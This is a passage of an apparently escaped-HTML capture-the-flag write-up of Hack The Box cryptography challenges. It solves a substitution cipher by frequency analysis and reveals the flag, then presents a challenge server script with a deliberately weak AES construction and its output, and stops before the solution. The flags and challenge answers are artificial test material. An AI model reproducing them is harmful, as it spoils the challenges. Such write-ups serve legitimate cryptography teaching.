&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">char_dict&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">char&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">text&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">char&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">char_dict&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">char_dict&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">char&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">char_dict&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">char&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">key&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">char_dict&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">char_dict&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">/=&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">text&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># char_dict[key] *= 100&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">char_dict&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">dict&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">sorted&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">char_dict&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">items&lt;/span>&lt;span class="p">(),&lt;/span> &lt;span class="n">key&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="k">lambda&lt;/span> &lt;span class="n">x&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">x&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">reverse&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">True&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># plt.bar(char_dict.keys(), char_dict.values())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">fig&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">ax1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ax2&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">plt&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">subplots&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">nrows&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ncols&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Plot the first subplot&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ax1&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">bar&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">char_dict&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">keys&lt;/span>&lt;span class="p">(),&lt;/span> &lt;span class="n">char_dict&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">values&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ax1&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">set_xlabel&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Encrypted message&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ax1&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">set_ylabel&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Frequency (%)&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Plot the second subplot&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ax2&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">bar&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">english_freq&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">keys&lt;/span>&lt;span class="p">(),&lt;/span> &lt;span class="n">english_freq&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">values&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ax2&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">set_xlabel&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;English&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ax2&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">set_ylabel&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Frequency (%)&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">plt&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">show&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Based on the charts, we can easily find that letter &lt;code>I&lt;/code>, &lt;code>C&lt;/code> in encrypted message must be &lt;code>space&lt;/code> and &lt;code>e&lt;/code> in English, respectively. I guess there must be one and only one pair &lt;code>{}&lt;/code> in the message for the flag &lt;code>HTB{...}&lt;/code>. In the above chart, letter &lt;code>2&lt;/code> and &lt;code>4&lt;/code> share the smallest frequency, so they must be &lt;code>{&lt;/code> and &lt;code>}&lt;/code>. Moreover, the 3 characters immediately preceding &lt;code>{&lt;/code> must be &lt;code>htb&lt;/code>. After that, we got:&lt;/p>
&lt;p>&lt;code>ABeDEeFGH JFJKHLML ML bJLeO PF the AJGt thJt MF JFH SMTeF LtBetGh PA VBMtteF KJFSEJSe GeBtJMF KetteBL JFO GPUbMFJtMPFL PA KetteBL PGGEB VMth TJBHMFS ABeDEeFGMeL UPBePTeB theBe ML J GhJBJGteBMLtMG OMLtBMbEtMPF PA KetteBL thJt ML BPEShKH the LJUe APB JKUPLt JKK LJUWKeL PA thJt KJFSEJSe MF GBHWtJFJKHLML ABeDEeFGH JFJKHLML JKLP XFPVF JL GPEFtMFS KetteBL ML the LtEOH PA the ABeDEeFGH PA KetteBL PB SBPEWL PA KetteBL MF J GMWheBteYt the UethPO ML ELeO JL JF JMO tP bBeJXMFS GKJLLMGJK GMWheBL ABeDEeFGH JFJKHLML BeDEMBeL PFKH J bJLMG EFOeBLtJFOMFS PA the LtJtMLtMGL PA the WKJMFteYt KJFSEJSe JFO LPUe WBPbKeU LPKTMFS LXMKKL JFO MA WeBAPBUeO bH hJFO tPKeBJFGe APB eYteFLMTe KetteB bPPXXeeWMFS OEBMFS VPBKO VJB MM bPth the bBMtMLh JFO the JUeBMGJFL BeGBEMteO GPOebBeJXeBL bH WKJGMFS GBPLLVPBO WEZZKeL MF UJ1PB FeVLWJWeBL JFO BEFFMFS GPFteLtL APB VhP GPEKO LPKTe theU the AJLteLt LeTeBJK PA the GMWheBL ELeO bH the JYML WPVeBL VeBe bBeJXJbKe ELMFS ABeDEeFGH JFJKHLML APB eYJUWKe LPUe PA the GPFLEKJB GMWheBL ELeO bH the 1JWJFeLe UeGhJFMGJK UethPOL PA KetteB GPEFtMFS JFO LtJtMLtMGJK JFJKHLML SeFeBJKKH htb{J3LMUWKe3LEbLtMtEtMPF3ML3VeJX} GJBO tHWe UJGhMFeBH VeBe AMBLt ELeO MF VPBKO VJB MM WPLLMbKH bH the EL JBUHL LML tPOJH the hJBO VPBX PA KetteB GPEFtMFS JFO JFJKHLML hJL beeF BeWKJGeO bH GPUWEteB LPAtVJBe VhMGh GJF GJBBH PEt LEGh JFJKHLML MF LeGPFOL VMth UPOeBF GPUWEtMFS WPVeB GKJLLMGJK GMWheBL JBe EFKMXeKH tP WBPTMOe JFH BeJK WBPteGtMPF APB GPFAMOeFtMJK OJtJ WEZZKe WEZZKe WEZZKe&lt;/code>&lt;/p>
&lt;p>The remaining task is to guess the words based on their meanings. Here is the result:&lt;/p>
&lt;p>&lt;code>frequency analysis is based on the fact that in any giTen stretch of written language certain letters and combinations of letters occur with Tarying frequencies moreoTer there is a characteristic distribution of letters that is roughly the same for almost all samples of that language in cryptanalysis frequency analysis also tnown as counting letters is the study of the frequency of letters or groups of letters in a cipherteYt the method is used as an aid to breating classical ciphers frequency analysis requires only a basic understanding of the statistics of the plainteYt language and some problem solTing stills and if performed by hand tolerance for eYtensiTe letter bootteeping during world war ii both the british and the americans recruited codebreaters by placing crossword puZZles in ma1or newspapers and running contests for who could solTe them the fastest seTeral of the ciphers used by the aYis powers were breatable using frequency analysis for eYample some of the consular ciphers used by the 1apanese mechanical methods of letter counting and statistical analysis generally htb{a_simple_substitution_is_weat} card type machinery were first used in world war ii possibly by the us armys sis today the hard wort of letter counting and analysis has been replaced by computer software which can carry out such analysis in seconds with modern computing power classical ciphers are unlitely to proTide any real protection for confidential data puZZle puZZle puZZle&lt;/code>&lt;/p>
&lt;p>Flag is: &lt;strong>HTB{a_simple_substitution_is_weat}&lt;/strong>&lt;/p>
&lt;h3 id="conclusion-1">Conclusion&lt;/h3>
&lt;p>This challenge is just a substitution cipher, which is totally insecure against frequency analysis. The &lt;code>random key&lt;/code>, &lt;code>salt&lt;/code>, &lt;code>AES-ECB&lt;/code> is just to make colors :D.&lt;/p>
&lt;h2 id="multipage-recyclings">Multipage Recyclings&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1w-n16tVbL_eG-8XOvoMPJcfAEWQwxq-5/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> As your investigation progressed, a clue led you to a local bar where you met an undercover agent with valuable information. He spoke of a famous astronomy scientist who lived in the area and extensively studied the relic. The scientist wrote a book containing valuable insights on the relic&amp;rsquo;s location, but encrypted it before he disappeared to keep it safe from malicious intent. The old man disclosed that the book was hidden in the scientist&amp;rsquo;s house and revealed two phrases that the scientist rambled about before vanishing.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Cryptography&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>The server script is shown below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Cipher&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">AES&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.Padding&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">pad&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">random&lt;/span>&lt;span class="o">,&lt;/span> &lt;span class="nn">os&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">FLAG&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;HTB{??????????????????????}&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="nc">CAES&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="fm">__init__&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">urandom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cipher&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">new&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">MODE_ECB&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">blockify&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">message&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">size&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">message&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">size&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">message&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">size&lt;/span>&lt;span class="p">)]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">xor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">([&lt;/span>&lt;span class="nb">bytes&lt;/span>&lt;span class="p">([&lt;/span>&lt;span class="n">_a&lt;/span> &lt;span class="o">^&lt;/span> &lt;span class="n">_b&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">_a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">_b&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">zip&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">)])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">message&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">iv&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">urandom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ciphertext&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">plaintext&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">iv&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">blocks&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">blockify&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">message&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">16&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">block&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">blocks&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ct&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cipher&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">plaintext&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">encrypted_block&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">xor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">block&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ct&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ciphertext&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">encrypted_block&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">plaintext&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">encrypted_block&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">ciphertext&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">leak&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">blocks&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">random&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">randint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">blocks&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">leak&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cipher&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">blocks&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">])&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hex&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">r&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">r&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">]]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">r&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">leak&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">aes&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">CAES&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">message&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">pad&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">FLAG&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="mi">4&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">16&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ciphertext&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">aes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">message&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ciphertext_blocks&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">aes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">blockify&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ciphertext&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">16&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">leak&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">aes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">leak&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ciphertext_blocks&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;output.txt&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;w&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s1">&amp;#39;ct = &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">ciphertext&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hex&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s1">r = &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">r&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s1">phrases = &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">leak&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="vm">__name__&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;__main__&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">main&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>We also have an output file:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="n">ct&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">bc9bc77a809b7f618522d36ef7765e1cad359eef39f0eaa5dc5d85f3ab249e788c9bc36e11d72eee281d1a645027bd96a363c0e24efc6b5caa552b2df4979a5ad41e405576d415a5272ba730e27c593eb2c725031a52b7aa92df4c4e26f116c631630b5d23f11775804a688e5e4d5624&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">r&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">phrases&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;8b6973611d8b62941043f85cd1483244&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;cf8f71416111f1e8cdee791151c222ad&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="problem-statement-1">Problem Statement&lt;/h3>
&lt;p>This code defines a class called &lt;code>CAES&lt;/code> that implements the AES encryption algorithm in ECB mode. The &lt;code>CAES&lt;/code> class has methods to &lt;code>blockify&lt;/code> a message into 16-byte blocks, &lt;code>xor&lt;/code> two byte arrays, and &lt;code>encrypt&lt;/code> a message using AES in ECB mode. Additionally, it has a method called &lt;code>leak&lt;/code> that generates a random integer &lt;code>r&lt;/code> and returns the encryption of two randomly chosen adjacent 16-byte blocks. The &lt;code>main&lt;/code> function of this code creates an instance of the CAES class, generates a message by padded &lt;code>FLAG*4&lt;/code>, encrypts the message, and generates a leak using the &lt;code>leak&lt;/code> method of the &lt;code>CAES&lt;/code> class. Finally, the main function writes the &lt;code>ciphertext&lt;/code>, the randomly chosen integer &lt;code>r&lt;/code>, and the &lt;code>leak&lt;/code> to a file called &lt;code>output.txt&lt;/code>.&lt;/p>
&lt;h3 id="initial-analysis-1">Initial Analysis&lt;/h3>
